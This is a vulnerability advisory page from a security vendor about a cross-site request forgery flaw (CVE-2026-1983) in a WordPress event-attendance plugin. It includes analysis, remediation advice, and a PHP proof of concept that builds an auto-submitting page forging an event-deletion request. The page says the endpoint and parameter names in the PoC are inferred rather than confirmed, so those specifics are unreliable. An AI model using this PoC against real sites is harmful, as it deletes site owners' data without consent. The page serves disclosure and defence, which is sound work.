Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1983: SEATT: Simple Event Attendance <= 1.5.0 – Cross-Site Request Forgery to Arbitrary Event Deletion (simple-event-attendance)

CVE ID CVE-2026-1983
Plugin simple-event-attendance
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.5.0
Patched Version —
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1983 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the SEATT: Simple Event Attendance WordPress plugin, affecting all versions up to and including 1.5.0. The flaw allows unauthenticated attackers to delete arbitrary events by tricking a site administrator into performing an action like clicking a malicious link. The CVSS score of 4.3 (Medium) reflects the attack’s reliance on user interaction and its limited impact on integrity.

Atomic Edge research identifies the root cause as missing nonce validation on the plugin’s event deletion functionality. The CWE-352 classification confirms this is a classic CSRF vulnerability. The description states the plugin does not validate the WordPress nonce security token on the relevant deletion request handler. This inference is based on the CWE and the standard WordPress security model, where nonce validation is the primary defense against CSRF for privileged actions. Without source code, Atomic Edge cannot confirm the exact function name or hook, but the pattern is consistent with an AJAX action or admin-post endpoint lacking a `check_ajax_referer` or `wp_verify_nonce` call.

Exploitation requires an attacker to craft a malicious web page or link that submits a forged HTTP request to the WordPress site while an administrator is logged in. The request likely targets the WordPress AJAX handler at `/wp-admin/admin-ajax.php` with a POST parameter `action` containing a value like `seatt_delete_event`. Another plausible endpoint is `/wp-admin/admin-post.php` with an `action` parameter. The payload would include an event identifier parameter, such as `event_id`. A successful attack would cause the administrator’s browser to send this authenticated request, resulting in unauthorized event deletion.

Remediation requires adding proper nonce validation to the event deletion handler. The plugin must generate a unique nonce when rendering the deletion interface, such as a link or button in the WordPress admin panel. The server-side handler must then verify this nonce using `check_ajax_referer` for AJAX endpoints or `wp_verify_nonce` for other forms. A capability check, like `current_user_can(‘manage_options’)`, should also be present to ensure only authorized users can initiate the action, though the CSRF flaw specifically bypasses the nonce check.

The impact of successful exploitation is unauthorized deletion of events managed by the plugin. This constitutes a loss of data integrity and availability for the site’s event content. The attack does not allow for privilege escalation, remote code execution, or data disclosure. However, it can disrupt site operations and user experience by removing scheduled events. The attack requires a logged-in administrator to interact with the malicious payload, which limits its scale but not its severity for targeted attacks.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1983 - SEATT: Simple Event Attendance <= 1.5.0 - Cross-Site Request Forgery to Arbitrary Event Deletion
<?php
/**
 * Proof of Concept for CVE-2026-1983.
 * This script generates a malicious HTML page that, when visited by a logged-in WordPress administrator,
 * automatically submits a forged request to delete an event.
 * ASSUMPTIONS:
 * 1. The plugin uses the WordPress AJAX handler for deletion (most common pattern).
 * 2. The AJAX action parameter is derived from the plugin slug, e.g., 'seatt_delete_event'.
 * 3. The event ID parameter is named 'event_id'.
 * 4. The target site has the vulnerable plugin installed and activated.
 */
$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$event_id_to_delete = 1; // CHANGE THIS to the target event ID
// The AJAX action is inferred from the plugin slug 'simple-event-attendance' (seatt).
$ajax_action = 'seatt_delete_event';
// Construct the full AJAX endpoint.
$ajax_endpoint = $target_url . '/wp-admin/admin-ajax.php';
?>
<!DOCTYPE html>
<html>
<head>
    <title>Benign Page</title>
</head>
<body>
    <h2>Click the link below (CSRF PoC)</h2>
    <!-- The form will auto-submit via JavaScript on page load. -->
    <form id="csrf_form" action="<?php echo htmlspecialchars($ajax_endpoint); ?>" method="POST">
        <input type="hidden" name="action" value="<?php echo htmlspecialchars($ajax_action); ?>">
        <input type="hidden" name="event_id" value="<?php echo (int)$event_id_to_delete; ?>">
        <!-- Additional parameters may be required, but the description only specifies missing nonce. -->
    </form>
    <script>
        // Automatically submit the form to simulate a user action.
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School